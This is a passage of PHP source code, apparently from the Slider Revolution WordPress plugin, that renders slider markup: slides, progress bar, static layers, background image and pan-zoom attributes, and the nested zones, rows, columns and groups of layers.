			$this->add_background_video();
			
			echo $this->add_opening_comment();
			
			$this->add_zones();
			$this->add_groups();
			$this->add_creative_layer();
			
			echo $this->add_closing_comment();
			
			do_action('revslider_add_layer_html', $this->slider, $slide);
			
			$this->add_slide_li_post();
			
			$this->set_material_icon_css();
			
			$this->zIndex = 1; //reset zIndex on each slide
			$index++;
		}
		
		echo apply_filters('revslider_get_slides_post', RS_T5.'</rs-slides>'."\n", $this);
		
		$this->add_static_slide_html();
		
		$this->set_material_icon_css(); //do again, so that we have static layers in the queue now
	}
	
	/**
	 * push the static slide, can also be disabled through filters
	 **/
	public function enable_static_layers($slides){
		if(!$this->get_do_static()) return;

		$static_slide = $this->slider->get_static_slide();
		if($static_slide !== false){
			$this->set_static_slide($static_slide);
		}
	}
	
	/**
	 * creates the timer bar for Slider
	 **/
	public function get_timer_bar(){
		$layouttype	= $this->slider->get_param('type'); //standard, carousel or hero
		$enable_progressbar	= $this->slider->get_param(array('general', 'progressbar', 'set'), true);

		$timer_bar			= $this->slider->get_param(array('general', 'progressbar', 'position'), 'top');
		$progress_height	= $this->slider->get_param(array('general', 'progressbar', 'height'), '5');
		$progressbar_color	= RSColorpicker::get($this->slider->get_param(array('general', 'progressbar', 'color'), '#000000'));
		
		$timer_bar = ($enable_progressbar !== true || $layouttype == 'hero') ? 'hide' : $timer_bar;
		
		$progress_style = ' style="height: '.esc_attr($progress_height).'px; background: '.$progressbar_color.';"';
		
		$r = '';
		switch($timer_bar){
			case 'top':
				$r = RS_T5.'<rs-progress'.$progress_style.'></rs-progress>'."\n";
			break;
			case 'bottom':
				$r = RS_T5.'<rs-progress class="rs-bottom"'.$progress_style.'></rs-progress>'."\n";
			break;
			case 'hide':
				$r = RS_T5.'<rs-progress class="rs-bottom" style="visibility: hidden !important;"></rs-progress>'."\n";
			break;
		}
		
		return $r;
	}
	
	/**
	 * add the opening <!-- to remove unneeded parsed spacings
	 **/
	public function add_opening_comment(){
		return '<!--';
	}
	
	/**
	 * add the opening <!-- to remove unneeded parsed spacings
	 **/
	public function add_closing_comment(){
		return '-->';
	}
	
	/**
	 * add the slide li with data attributes and so on
	 **/
	public function add_slide_li_pre($index){
		$slide = $this->get_slide();
		
		//Html rev-main-
		//echo RS_T6.'<!-- SLIDE  -->'."\n";
		echo RS_T6.'<rs-slide';

		echo $this->get_html_slide_style();
		echo $this->get_html_slide_key();
		echo $this->get_html_slide_title();
		echo $this->get_html_slide_description();
		echo $this->get_thumb_url();
		echo $this->get_slide_link();
		echo $this->get_html_delay();
		echo $this->get_html_scrollbased_slidedata();
		echo $this->get_html_stop_slide();
		echo $this->get_html_invisible();
		echo $this->get_html_anim();
		echo $this->get_html_random_animations();
		echo $this->get_html_alt_transitions();

		echo $this->get_html_slide_loop();
		echo $this->get_html_media_filter();
		echo $this->get_html_slide_class();
		echo $this->get_html_slide_id();
		echo $this->get_html_extra_data();
		echo $this->get_html_hide_after_loop();
		echo $this->get_html_hide_slide_mobile();
		echo $this->get_html_extra_params();
		echo $this->get_html_image_video_ratio();
		
		do_action('revslider_add_li_data', $this->slider, $slide);
		
		echo '>'."\n";
	}
	
	/**
	 * add the slide closing li 
	 **/
	public function add_slide_li_post(){
		echo RS_T6.'</rs-slide>'."\n";
	}
	
	/**
	 * add the static slide layer HTML
	 **/
	public function add_static_slide_html(){
		$static_slide = $this->get_static_slide();
		
		if($this->get_do_static() && !empty($static_slide)){
			$this->is_static = true;
			$this->set_slide_id($static_slide->get_id());
			$layers = $static_slide->get_layers();
			$this->set_layers($layers);
			
			if(!empty($layers)){
				$sof = $static_slide->get_param(array('static', 'overflow'), '');
				$scl = $sof;
				$sof = (!empty($sof) && $sof == 'hidden') ? ' style="overflow:hidden;width:100%;height:100%;top:0px;left:0px;"' : '';
				$slp = $static_slide->get_param(array('static', 'position'), 'front');
				$slp = (!empty($slp) && $slp === 'back') ? ' class="rs-stl-back ' . ($scl == 'visible' ? 'rs-stl-visible' : '') . '"' : ($scl == 'visible' ? ' class="rs-stl-visible"' : '');

				//check for static layers
				echo RS_T5.'<rs-static-layers' . $sof . $slp . '><!--'."\n";
				
				$this->set_slide($static_slide);
				$this->add_zones();
				$this->add_groups();
				$this->add_creative_layer();
				
				do_action('revslider_add_static_layer_html', $this->get_slider());
				
				echo RS_T5.'--></rs-static-layers>'."\n";
			}
			$this->is_static = false;
		}
	}
	
	/**
	 * add the slide li with data attributes and so on
	 **/
	public function add_slide_main_image(){
		$img = $this->get_image_data();
		
		if(!empty($img) && is_array($img)){
			//echo RS_T7.'<!-- MAIN IMAGE -->'."\n";
			echo RS_T7.'<img';
			foreach($img as $k => $v){
				if($k === 'alt'){
					echo ' '.$k.'="'.$v.'"'; //always print an alt even if empty
					continue;
				}
				echo (trim($v) !== '') ? ' '.$k.'="'.$v.'"' : '';
			}
			echo ' data-no-retina>'."\n";
		}
	}
	
	/**
	 * get image params to be used later on the background image
	 **/
	public function get_image_data(){
		$slide	 = $this->get_slide();
		$bg_type = $slide->get_param(array('bg', 'type'), 'trans');
		$url_trans = RS_PLUGIN_URL.'public/assets/assets/transparent.png';
		$img	 = array('id' => false, 'src' => '', 'alt' => '', 'style' => '', 'title' => '', 'parallax' => '', 'panzoom' => '', 'width' => '', 'height' => '', 'bg' => '', 'lazyload' => '');
		
		if($bg_type != 'external'){
			$img['src']	= $slide->image_url;
			$img['id']	= $slide->image_id;
			
			switch($slide->get_param(array('attributes', 'altOption'), $slide->get_param(array('attributes', 'titleOption'), 'media_library'))){
				case 'media_library':
				default:
					$img['alt'] = get_post_meta($img['id'], '_wp_attachment_image_alt', true);
				break;
				case 'file_name':
					$info = pathinfo($slide->image_filename);
					$img['alt'] = $this->get_val($info, 'filename');
				break;
				case 'custom':
					$img['alt'] = esc_attr($slide->get_param(array('attributes', 'alt'), ''));
				break;
			}
			
			switch($slide->get_param(array('attributes', 'titleOption'), 'media_library')){
				case 'media_library':
				default:
					$img['title'] = get_the_title($img['id']);
				break;
				case 'file_name':
					$info = pathinfo($slide->image_filename);
					$img['title'] = $this->get_val($info, 'filename');
				break;
				case 'custom':
					$img['title'] = esc_attr($slide->get_param(array('attributes', 'title'), ''));
				break;
			}
			
			if($img['id'] !== false){
				$data = wp_get_attachment_metadata($img['id']);
				if($data !== false && !empty($data)){
					$size = $slide->get_param(array('bg', 'imageSourceType'), 'full'); //$this->slider->get_param(array('def', 'background', 'imageSourceType'), 'full')
					if($size !== 'full'){
						if(isset($data['sizes']) && isset($data['sizes'][$size])){
							$img['width'] = (isset($data['sizes'][$size]['width'])) ? $data['sizes'][$size]['width'] : '';
							$img['height'] = (isset($data['sizes'][$size]['height'])) ? $data['sizes'][$size]['height'] : '';
						}
					}
					
					if($img['width'] == '' || $img['height'] == ''){
						$img['width'] = (isset($data['width'])) ? $data['width'] : '';
						$img['height'] = (isset($data['height'])) ? $data['height'] : '';
					}
				}
			}
		}else{
			$img['src']		= esc_url($slide->get_param(array('bg', 'externalSrc'), ''));
			$img['alt']		= esc_attr($slide->get_param(array('attributes', 'alt'), ''));
			$img['title']	= esc_attr($slide->get_param(array('attributes', 'title'), ''));
			$img['width']	= $slide->get_param(array('bg', 'width'), '1920');
			$img['height']	= $slide->get_param(array('bg', 'height'), '1080');
		}
		
		switch($bg_type){
			case 'trans':
			case 'transparent':
			case 'solid':
				$img['src'] = $url_trans;
				if(isset($img['alt']) && trim($img['alt']) === ''){
					$img['alt'] = $this->get_html_slide_title(true);
					$img['alt'] = (empty($img['alt'])) ? __('Slide Background', 'revslider') : $img['alt'];
				}
			break;
		}
		
		if(isset($slide->ignore_alt)) $img['alt'] = '';
		if(isset($img['title'])) $img['title'] = strip_tags($img['title']);
		if(isset($img['alt'])) $img['alt'] = strip_tags($img['alt']);

		$img['class'] = 'rev-slidebg tp-rs-img';
		$img['class'] .= ($this->slider->get_param(array('general', 'lazyLoad'), false) != 'none') ? ' rs-lazyload' : '';
		
		$img['src']			 = (trim($img['src']) == '') ? $url_trans : $img['src']; //go back to transparent if img is empty
		$img['data-lazyload']= ($this->slider->get_param(array('general', 'lazyLoad'), false) != 'none') ? $this->remove_http($img['src']) : '';
		$img['src']			 = ($this->slider->get_param(array('general', 'lazyLoad'), false) != 'none') ? RS_PLUGIN_URL.'public/assets/assets/dummy.png' : $img['src'];
		$img['src']			 = $this->remove_http($img['src']);
		$img['data-bg']	 	 = $this->get_image_background_values();
		$img['data-parallax']= $this->get_html_parallax();
		$img['data-panzoom'] = $this->get_html_pan_zoom();
		
		unset($img['id']);
		
		return $img;
	}
	
	/**
	 * get data-bg image background values
	 **/
	public function get_image_background_values(){
		$slide = $this->get_slide();
		$bg	 = '';
		$pos = $this->get_background_position();
		$f_r = $this->get_background_fit_and_repeat();
		$c	 = ($slide->get_param(array('bg', 'type'), 'trans') == 'solid') ? RSColorpicker::get($slide->get_param(array('bg', 'color'), '#ffffff')) : '';
		$c	 = ($c == '' && $slide->get_param(array('bg', 'type'), 'trans') == 'solid') ? '#ffffff' : $c; //force white here as we need it in frontend
		
		$bg .= (!in_array($pos, array('', '50%', '50% 50%', 'center center', 'center'), true)) ? 'p:'.$pos.';' : '';
		$bg .= ($c !== '' && $c !== 'transparent') ? 'c:'.$c.';' : '';
		$bg .= ($f_r['f'] !== '' && $f_r['f'] !== 'cover') ? 'f:'.$f_r['f'].';' : '';
		$bg .= ($f_r['r'] !== '' && $f_r['r'] !== 'no-repeat') ? 'r:'.$f_r['r'].';' : '';
		
		return $bg;
	}
	
	/**
	 * get the parallax html
	 **/
	public function get_html_parallax(){
		$slide		= $this->get_slide();
		$parallax	= '';
		
		if($this->slider->get_param(array('parallax', 'set'), false) == true){
			$slide_level = $slide->get_param(array('effects', 'parallax'), '-');
			if($slide_level == '-') $slide_level = 'off';
			
			$parallax = $slide_level;
		}
		
		return $parallax;
	}
	
	/**
	 * get ken burns html data
	 **/
	public function get_html_pan_zoom(){
		$slide	 = $this->get_slide();
		$bg_type = $slide->get_param(array('bg', 'type'), 'trans');
		$pan	 = '';
		
		if($slide->get_param(array('panzoom', 'set'), false) == true && ($bg_type == 'image' || $bg_type == 'external')){
			$d = $slide->get_param(array('panzoom', 'duration'), '10000');
			$e = $slide->get_param(array('panzoom', 'ease'), 'none');
			$this->easings[$e] = $e;
			$ss = $slide->get_param(array('panzoom', 'fitStart'), '100');
			$se = $slide->get_param(array('panzoom', 'fitEnd'), '100');
			$rs = $slide->get_param(array('panzoom', 'rotateStart'), '0');
			$re = $slide->get_param(array('panzoom', 'rotateEnd'), '0');
			$bs = $slide->get_param(array('panzoom', 'blurStart'), '0');
			$be = $slide->get_param(array('panzoom', 'blurEnd'), '0');
			$os = $slide->get_param(array('panzoom', 'xStart'), '0').'/'.$slide->get_param(array('panzoom', 'yStart'), '0');
			$oe = $slide->get_param(array('panzoom', 'xEnd'), '0').'/'.$slide->get_param(array('panzoom', 'yEnd'), '0');
			
			
			$pan .= ($d !== '') ? 'd:'.$d.';' : '';
			$pan .= ($e !== 'none') ? 'e:'.$e.';' : '';
			$pan .= 'ss:'.$ss.';';
			$pan .= 'se:'.$se.';';
			$pan .= ($rs !== '0') ? 'rs:'.$rs.';' : '';
			$pan .= ($re !== '0') ? 're:'.$re.';' : '';
			$pan .= ($bs !== '0') ? 'bs:'.$bs.';' : '';
			$pan .= ($be !== '0') ? 'be:'.$be.';' : '';
			$pan .= ($os !== '0/0') ? 'os:'.$os.';' : '';
			$pan .= ($oe !== '0/0') ? 'oe:'.$oe.';' : '';
		}
		
		return $pan;
	}
	
	/**
	 * get background position for the image
	 **/
	public function get_background_position(){
		$slide = $this->get_slide();
		
		$pos = $slide->get_param(array('bg', 'position'), 'center center'); //$this->slider->get_param(array('def', 'background', 'position'), 
		$type = $slide->get_param(array('bg', 'type'), 'trans');
		
		if($type == 'streamvimeoboth' || $type == 'streamyoutubeboth' || $type == 'streaminstagramboth' || $type == 'streamtwitterboth'){
			$pos = ($this->check_if_stream_video_exists()) ? 'center center' : $pos;
		}else{
			$pos = ($type == 'youtube' || $type == 'vimeo' || $type == 'html5' || $type == 'streamvimeo' || $type == 'streamyoutube' || $type == 'streaminstagram' || $type == 'streamtwitter') ? 'center center' : $pos;
		}
		
		$pos = ($pos == 'percentage') ? intval($slide->get_param(array('bg', 'positionX'), '0')).'% '.intval($slide->get_param(array('bg', 'positionY'), '0')).'%' : $pos; //$this->slider->get_param(array('def', 'background', 'positionX'), '0') $this->slider->get_param(array('def', 'background', 'positionY'), '0')
		
		return $pos;
	}
	
	/**
	 * get image fit and repeat params
	 **/
	public function get_background_fit_and_repeat(){
		$slide	 = $this->get_slide();
		$bg_type = $slide->get_param(array('bg', 'type'), 'trans');
		$return	 = array('f' => '', 'r' => '');
		
		if(!($slide->get_param(array('panzoom', 'set'), false) == true && ($bg_type == 'image' || $bg_type == 'external'))){ //only set if kenburner is off and not a background video //$this->slider->get_param(array('def', 'panZoom', 'set'), false)
			if($bg_type == 'youtube' || $bg_type == 'html5' || $bg_type == 'vimeo' || $bg_type == 'streamvimeo' || $bg_type == 'streamyoutube' || $bg_type == 'streaminstagram' || $bg_type == 'streamtwitter'){
				$return['f'] = 'cover';
			}else{
				//additional background params
				$bgFit = $slide->get_param(array('bg', 'fit'), 'cover'); //$this->slider->get_param(array('def', 'background', 'fit'), 'cover')
				if(!in_array($bgFit, array('cover', 'contain', 'percentage', 'auto'))) $bgFit = 'cover';
				$return['f'] = ($bgFit == 'percentage') ? intval($slide->get_param(array('bg', 'fitX'), '100')).'% '.intval($slide->get_param(array('bg', 'fitY'), '100')).'%' : $bgFit; //$this->slider->get_param(array('def', 'background', 'fitX'), '100') $this->slider->get_param(array('def', 'background', 'fitY'), '100')
				$return['r'] = $slide->get_param(array('bg', 'repeat'), 'no-repeat'); //$this->slider->get_param(array('def', 'background', 'repeat'), 'no-repeat')
			}
		}
		
		return $return;
	}
	
	/**
	 * set slide specific values that are needed by layers
	 * this is needed to be called before any layer is added to the stage
	 **/
	public function set_slide_params_for_layers(){
		$slide = $this->get_slide();
		$this->set_slide_id($slide->get_id());
		$this->set_layers($slide->get_layers());
	}
	
	/**
	 * add background video if one is selected
	 **/
	public function add_background_video(){
		$slide	= $this->get_slide();
		$type	= $slide->get_param(array('bg', 'type'), 'trans');
		
		//check if we are youtube, vimeo or html5
		if($type == 'youtube' || $type == 'html5' || $type == 'vimeo' || $type == 'streamvimeo' || $type == 'streamyoutube' || $type == 'streaminstagram' || $type == 'streamtwitter'){
			$this->add_html_background_video(); 
		}
		if($type == 'streamvimeoboth' || $type == 'streamyoutubeboth' || $type == 'streaminstagramboth' || $type == 'streamtwitterboth'){
			if($this->check_if_stream_video_exists()) $this->add_html_background_video();
		}
	}
	
	/**
	 * Add Groups with columns and the layers of it
	 * @since: 5.3.0
	 * @before: RevSliderOutput::putCreativeZones()
	 */
	public function add_zones(){
		$layers = $this->get_layers();
		
		if(empty($layers)) return false;
		
		$this->container_mode = '';
		$zones			= array('t' => 'top', 'm' => 'middle', 'b' => 'bottom');

		foreach($zones as $zs => $zone){ //go through all three zones
			foreach($layers as $layer){
			
				if($this->get_val($layer, 'type', 'text') !== 'row') continue; //we only want to handle rows here to get the zones we need to create
				
				$this->row_zindex = 0;
				
				$layer_zone = $this->get_val($layer, array('group', 'puid'), 'top');
				if($layer_zone !== $zone) continue; //wrong zones, so continue
				
				$this->increase_layer_depth();
				
				//we have found a zone, now fill it with rows, columns, layers
				ob_start(); //fetch the data, as we need to set the z-index on the rows
				$this->add_rows($layer_zone);
				$row_layers = ob_get_contents();
				ob_clean();
				ob_end_clean();
				
				//get the zone z-index from the zone layer
				$zi = $this->get_val($layers, array($zone, 'position', 'zIndex'), $this->row_zindex);
				
				$this->decrease_layer_depth();
				echo RS_T6. $this->add_closing_comment() .'<rs-zone id="rrz'.$zs.'_'.$this->slide->get_id().'" class="rev_row_zone_'.$zone.'" style="z-index: '.$zi.';">';
				echo $this->add_opening_comment()."\n";
				echo $row_layers;
				echo RS_T7.$this->add_closing_comment().'</rs-zone>'.$this->add_opening_comment()."\n";
				
				$this->container_mode = '';

				break; //zone is written, go to the next one
			}
		}
	}
	
	/**
	 * Add Groups with columns and the layers of it
	 * @since: 5.3.0
	 * @before: RevSliderOutput::putCreativeGroups()
	 */
	public function add_groups($puid = '-1', $layers = false){ //-1 means: we only want to handle groups here that are on the first level
		$layers = ($layers === false) ? $this->get_layers() : $layers;
		if(empty($layers)) return false;
		
		$container_mode = $this->container_mode;
		foreach($layers as $layer){
			if($this->get_val($layer, 'type', 'text') !== 'group') continue; //we only want to handle groups here to get the zones we need to create
			if($this->get_val($layer, array('group', 'puid'), '-1') !== $puid) continue; 
			
			$this->add_specific_group_layer($layer);
		}

		$this->container_mode = $container_mode;
	}

	/**
	 * Add a single group, specified by the given layer
	 * @since: 6.6.8
	 **/
	public function add_specific_group_layer($layer){
		$uid = $this->get_val($layer, 'uid');
		
		$this->set_layer($layer);
		$this->add_layer(true, 'group'); //add the group layer
		
		$this->container_mode = 'group';
		
		$this->increase_layer_depth();
		$this->add_group_layer($uid); //add all layers that are in the group
		$this->decrease_layer_depth();
		
		echo $this->ld().RS_T7.'--></rs-group>'.$this->add_opening_comment()."\n";
	}
	
	/**
	 * put creative layer
	 * @before: RevSliderOutput::putCreativeLayer()
	 */
	private function add_creative_layer(){
		$layers = $this->get_layers();
		if(empty($layers)) return false;
		
		$layers = apply_filters('revslider_putCreativeLayer', $layers, $this, $this->is_static);
		$this->container_mode = '';
		
		foreach($layers as $layer){
			if((string)$this->get_val($layer, array('group', 'puid'), '-1') !== '-1') continue; //dont do group layer
			
			$this->set_layer($layer);
			$this->add_layer(false);
		}
	}
	
	/**
	 * Add all Layers that are in the group with $u_id
	 * @since: 5.3.0
	 * @before: RevSliderOutput::putCreativeGroupLayer();
	 */
	public function add_group_layer($u_id){
		$layers			= $this->get_layers();
		$group_layers	= array();
		$go				= 9999;

		foreach($layers as $layer){
			$p_uid	= $this->get_val($layer, array('group', 'puid'));
			$uid	= $this->get_val($layer, array('group', 'uid'));
			
			if((string)$u_id !== (string)$p_uid) continue;
			if((string)$u_id === (string)$uid) continue;
			
			$order = $this->get_val($layer, array('group', 'groupOrder'));
			if($order === ''){
				$order = $go;
				$go++;
			}

			$group_layers[$order] = $layer;
		}

		if(!empty($group_layers)){
			krsort($group_layers); //sort the rows
			
			foreach($group_layers as $layer){ //allow groups in groups
				$this->set_layer($layer);
				if($this->get_val($layer, 'type') === 'group'){
					$this->add_specific_group_layer($layer);
				}else{
					$this->add_layer(true); //add the layer into the group
				}
			}
			unset($group_layers);
		}

	}
	
	/**
	 * Add Groups with columns and the layers of it
	 * @since: 5.3.0
	 * @before: RevSliderOutput::putCreativeRows()
	 */
	public function add_rows($current_zone){
		$layers = $this->get_layers();
		if(empty($layers)) return false;

		$row_layer		= array();
		$go				= 9999;
		
		foreach($layers as $layer){
			
			if($this->get_val($layer, 'type', 'text') !== 'row') continue; //we only want to handle rows here of the current zone and add them as a rows
			if($this->get_val($layer, array('group', 'puid'), 'top') !== $current_zone) continue; //wrong zones, so continue
			
			$order = $this->get_val($layer, array('group', 'groupOrder'));
			if($order === ''){ // || isset($row_layer[$order])
				$order = $go;
				$go++;
			}
			
			$zi = $this->get_val($layer, array('position', 'zIndex'), false); // set the z-index so that the wrapper gains the highest one
			$zi = ($zi === false) ? $this->zIndex : $zi;
			if($zi > $this->row_zindex){
				$this->row_zindex = $zi;
			}
			
			$row_layer[$order] = $layer;
		}
		
		if(!empty($row_layer)){
			ksort($row_layer); //sort the rows
			
			foreach($row_layer as $layer){
				$uid = $this->get_val($layer, 'uid');
				$this->set_layer($layer);
				$this->add_layer(true, 'row');
				$this->container_mode = 'row';
				
				$this->increase_layer_depth();
				
				$this->add_column($uid);
				
				$this->decrease_layer_depth();
				
				echo $this->ld().RS_T7.$this->add_closing_comment().'</rs-row>'.$this->add_opening_comment()."\n";//as we have used 'row' in the add_layer() function, it does not print the closing </> and we have to do it here
			}
			unset($row_layer);
		}
	}
	
	/**
	 * Add Columns with the layers
	 * @since: 5.3.0
	 * @before: RevSliderOutput::putCreativeColumn()
	 */
	public function add_column($uid){
		$layers = $this->get_layers();
		
		if(empty($layers)) return false;
		
		$column_layers = array();
		$go = 9999;
		foreach($layers as $layer){
			$this->container_mode = 'row';
			
			if($this->get_val($layer, 'type', 'text') !== 'column') continue; //we only want to handle columns here of the current row
			if((string)$this->get_val($layer, array('group', 'puid'), -1) !== (string)$uid) continue; //has the wrong row ID
			
			$_go = $this->get_val($layer, array('group', 'groupOrder'));
			
			if($_go === ''){ // || isset($column_layers[$_go])
				$_go = $go;
				$go++;
			}
			
			$column_layers[$_go] = $layer;
		}
		
		if(!empty($column_layers)){
			ksort($column_layers);
			foreach($column_layers as $layer){
				$this->container_mode = 'row';
				
				$this->set_layer($layer);
				$this->add_layer(true, 'column');
				$cuid = (string)$this->get_val($layer, 'uid', -1);
				
				//add layers here
				$group_layers = array();
				$go = 9999;
				foreach($layers as $nlayer){
					if((string)$this->get_val($nlayer, array('group', 'puid'), -1) !== $cuid) continue;
					
					$_go = $this->get_val($nlayer, array('group', 'groupOrder'));
					if($_go === ''){ // || isset($group_layers[$_go])
						$_go = $go;
						$go++;
					}
					
					$group_layers[$_go] = $nlayer;
				}
				
				$this->container_mode = 'column';
				
				//sort now the $group_layers
				if(!empty($group_layers)){
					ksort($group_layers);
					
					$this->increase_layer_depth();
					
					foreach($group_layers as $nlayer){
						if($this->get_val($nlayer, 'type', 'text') === 'group'){
							$this->add_specific_group_layer($nlayer);
						}else{
							$this->set_layer($nlayer);
							$this->add_layer(true);
						}
					}
					
					$this->decrease_layer_depth();
					unset($group_layers);
				}
				
				echo $this->ld().RS_T7.$this->add_closing_comment().'</rs-column>'.$this->add_opening_comment();
				echo "\n"; //as we have used 'column' in the add_layer() function, it does not print the closing </> and we have to do it here
			}
			unset($column_layers);
		}
	}
	
	/**
	 * returns the HTML layer type
	 */
	public function get_html_layer_type(){
		$type = $this->get_layer_type();
		return 'data-type="'.esc_attr($type).'"';
	}

	/**
	 * return the layer Type for further needs	 
	 */
	public function get_layer_type() {
		$layer = $this->get_layer();
		return $this->get_val($layer, 'type', 'text');
	} 
	
	/**
	 * Adds a Layer to the stage
	 * Moved most code part from putCreativeLayer into putLayer
	 * @since: 5.3.0
	 * @before: RevSliderOutput::putLayer()
	 */
	public function add_layer($row_group_uid = false, $special_type = false){
		$layer = apply_filters('revslider_putLayer_pre', $this->get_layer(), $this, $row_group_uid, $this->is_static, $special_type);
		$this->layer_additions = array();
		$this->set_layer($layer);
		$this->set_layer_unique_id();
		
		/**
		 * top middle and bottom are placeholder layers, do not write them
		  **/
		if(in_array($this->get_layer_unique_id(), array('top', 'middle', 'bottom'), true)) return '';
		
		//$this->push_layer_class();
		$check_continue		= $this->check_layer_continue($special_type, $row_group_uid);
		if(!$check_continue) return false;
		$check_continue		= $this->check_layer_video_continue();
		if(!$check_continue) return false;
		$html_type			= $this->get_html_layer_type();
		$class				= $this->get_layer_class();
		$html_simple_link	= $this->get_action_link();
		$html_responsive	= $this->get_html_responsive();
		$html_transform 	= $this->get_html_transform();
		$html_filters_on_mask 	= $this->get_html_filters_on_mask();
		$html_responsive_data = $this->get_html_responsive_data();
		$html_scrollbased_data = $this->get_html_scrollbased_data();
		$html_resp_offset	= $this->get_html_responsive_offset();
		$ids				= $this->get_html_layer_ids();
		$html_title			= $this->get_html_title();
		$html_tabindex		= $this->get_html_tab_index();
		$html_rel			= $this->get_html_rel();
		$position			= $this->get_html_layer_position();
		$html_text			= $this->get_html_text_data();
		$html_float			= $this->get_float_clear_data();
		$html_color			= $this->get_html_color_data();
		$html_box_shadow	= $this->get_html_box_shadow_data();
		$html_text_shadow	= $this->get_html_text_shadow_data();
		$html_dimension		= $this->get_html_dim_data();
		$html_visibility	= $this->get_html_layer_device_visibility();
		$html_column_break	= $this->get_html_column_break();
		$layer_actions		= $this->get_html_layer_action($html_simple_link);
		$layer_tag			= $this->get_layer_tag($html_simple_link, $special_type);
		$html_class			= $this->get_html_class($class, $layer_tag);
		$html_svg			= $this->get_html_svg();
		$html_base_align	= $this->get_html_base_align();
		$html_wrapper_ids	= $this->get_html_wrapper_ids();
		$html_wrapper_classes = $this->get_html_wrapper_classes();
		$html_static_data	= $this->get_html_static_layer();
		$html_static_pos_data = $this->get_html_static_position_layer();
		$html_trigger		= $this->get_html_trigger();
		$html_clip			= $this->get_html_clip();
		$frames				= $this->get_frames();
		$html_frames		= $this->get_html_frames($frames);
		$html_frameorder	= $this->get_html_frameorder();
		$html_blendmode		= $this->get_html_blendmode();
		$html_hideunder		= $this->get_html_hideunder();
		$html_audio_data	= $this->get_html_audio_data();
		$html_video_data	= $this->get_html_video_data();
		$html_column_data	= $this->get_html_column_data();
		$html_margin_data	= $this->get_html_margin_data($row_group_uid);
		$html_covermode_data	= $this->get_html_covermode_data();

		$html_padding_data	= $this->get_html_padding_data();
		$html_border_data	= $this->get_html_border_data();
		$html_inline_style	= $this->get_html_inline_style();
		$html_spike_data	= $this->get_html_spike_data();
		$html_text_stroke	= $this->get_html_text_stroke();
		//$html_togglehover	= $this->get_html_togglehover();
		$html_bg_image		= $this->get_background_image();
		$loop_data			= $this->get_loop_data();
		$toggle_data		= $this->get_toggle_data();
		$html_corners		= $this->get_html_corners();
		$html_disp			= $this->get_html_disp();
		$html_layer			= $this->get_html_layer();
		$html_layer_additions = $this->get_html_layer_additions();
		$layertype 			= $this->get_layer_type();

		$this->create_style_hover();
		
		echo "\n";
		echo $this->ld().RS_T7.$this->add_closing_comment();
		echo '<'.$layer_tag."\n";
		echo ($ids != '')					? $this->ld().RS_T8.$ids." \n" : '';
		echo ($html_class !== '')			? $this->ld().RS_T8.$html_class."\n" : '';
		echo ($html_simple_link !== '')		? $this->ld().RS_T8.$html_simple_link."\n" : '';
		echo 								  $this->ld().RS_T8.$html_type."\n";
		echo ($html_color !== '')			? $this->ld().RS_T8.$html_color."\n" : '';
		echo ($html_box_shadow !== '')		? $this->ld().RS_T8.$html_box_shadow."\n" : '';
		echo ($html_text_shadow !== '')		? $this->ld().RS_T8.$html_text_shadow."\n" : '';
		echo ($html_responsive !== '')		? $this->ld().RS_T8.$html_responsive."\n" : '';
		echo ($html_title != '') 			? $this->ld().RS_T8.$html_title."\n" : '';
		echo ($html_tabindex != '')			? $this->ld().RS_T8.$html_tabindex."\n" : '';
		echo ($html_rel != '')				? $this->ld().RS_T8.$html_rel."\n" : '';
		echo ($position != '')				? $this->ld().RS_T8.$position."\n" : '';
		echo ($html_text != '')				? $this->ld().RS_T8.$html_text."\n" : '';
		echo ($html_float != '')			? $this->ld().RS_T8.$html_float."\n" : '';
		echo ($html_dimension != '')		? $this->ld().RS_T8.$html_dimension."\n" : '';
		echo ($html_spike_data != '')		? $this->ld().RS_T8.$html_spike_data."\n" : '';
		echo ($html_text_stroke != '')		? $this->ld().RS_T8.$html_text_stroke."\n" : '';
		echo ($html_visibility != '')		? $this->ld().RS_T8.$html_visibility."\n" : '';
		echo ($html_column_break != '')		? $this->ld().RS_T8.$html_column_break."\n" : '';
		echo ($layer_actions != '')			? $this->ld().RS_T8.$layer_actions."\n" : '';
		echo ($html_svg != '')				? $this->ld().RS_T8.$html_svg : '';
		echo ($html_base_align != '')		? $this->ld().RS_T8.$html_base_align."\n" : '';
		echo ($html_resp_offset != '')		? $this->ld().RS_T8.$html_resp_offset."\n" : '';
		echo ($html_wrapper_ids != '')		? $this->ld().RS_T8.$html_wrapper_ids."\n" : '';
		echo ($html_wrapper_classes != '')	? $this->ld().RS_T8.$html_wrapper_classes."\n" : '';
		echo ($html_responsive_data != '')	? $this->ld().RS_T8.$html_responsive_data."\n" : '';
		echo ($html_transform != '') 		? $this->ld().RS_T8.$html_transform."\n" : '';
		echo ($html_filters_on_mask != '') 	? $this->ld().RS_T8.$html_filters_on_mask."\n" : '';
		echo ($html_scrollbased_data != '')	? $this->ld().RS_T8.$html_scrollbased_data."\n" : '';
		echo ($html_static_data != '')		? $this->ld().RS_T8.$html_static_data."\n" : '';
		echo ($html_static_pos_data != '')	? $this->ld().RS_T8.$html_static_pos_data."\n" : '';
		echo ($html_trigger != '')			? $this->ld().RS_T8.$html_trigger."\n" : '';
		echo ($html_blendmode != '')		? $this->ld().RS_T8.$html_blendmode."\n" : '';
		//echo ($html_togglehover != '')		? $this->ld().RS_T8.$html_togglehover."\n" : '';
		echo ($html_hideunder != '')		? $this->ld().RS_T8.$html_hideunder."\n" : '';
		echo ($html_corners != '')			? $this->ld().RS_T8.$html_corners."\n" : '';
		echo ($html_disp != '')				? $this->ld().RS_T8.$html_disp."\n" : '';
		
		echo ($html_audio_data != '')		? $html_audio_data : '';
		echo ($html_video_data != '')		? $html_video_data : ''; //$this->ld().RS_T8.   ."\n"
		echo ($html_column_data != '')		? $this->ld().RS_T8.$html_column_data."\n" : '';
		echo ($html_margin_data != '')		? $this->ld().RS_T8.$html_margin_data."\n" : '';
		echo ($html_covermode_data != '')	? $this->ld().RS_T8.$html_covermode_data."\n" : '';
		echo ($html_padding_data != '')		? $this->ld().RS_T8.$html_padding_data."\n" : '';
		echo ($html_border_data != '')		? $this->ld().RS_T8.$html_border_data."\n" : '';
		echo ($html_frameorder != '')		? $this->ld().RS_T8.$html_frameorder."\n" : '';
		echo ($html_clip != '')				? $this->ld().RS_T8.$html_clip."\n" : '';
		
		echo ($html_frames != '')			? $this->ld().RS_T8.$html_frames : '';
		
		echo ($html_layer_additions != '')	? $html_layer_additions : '';
		
		if(!empty($loop_data)){
			foreach($loop_data as $ldk => $ld){
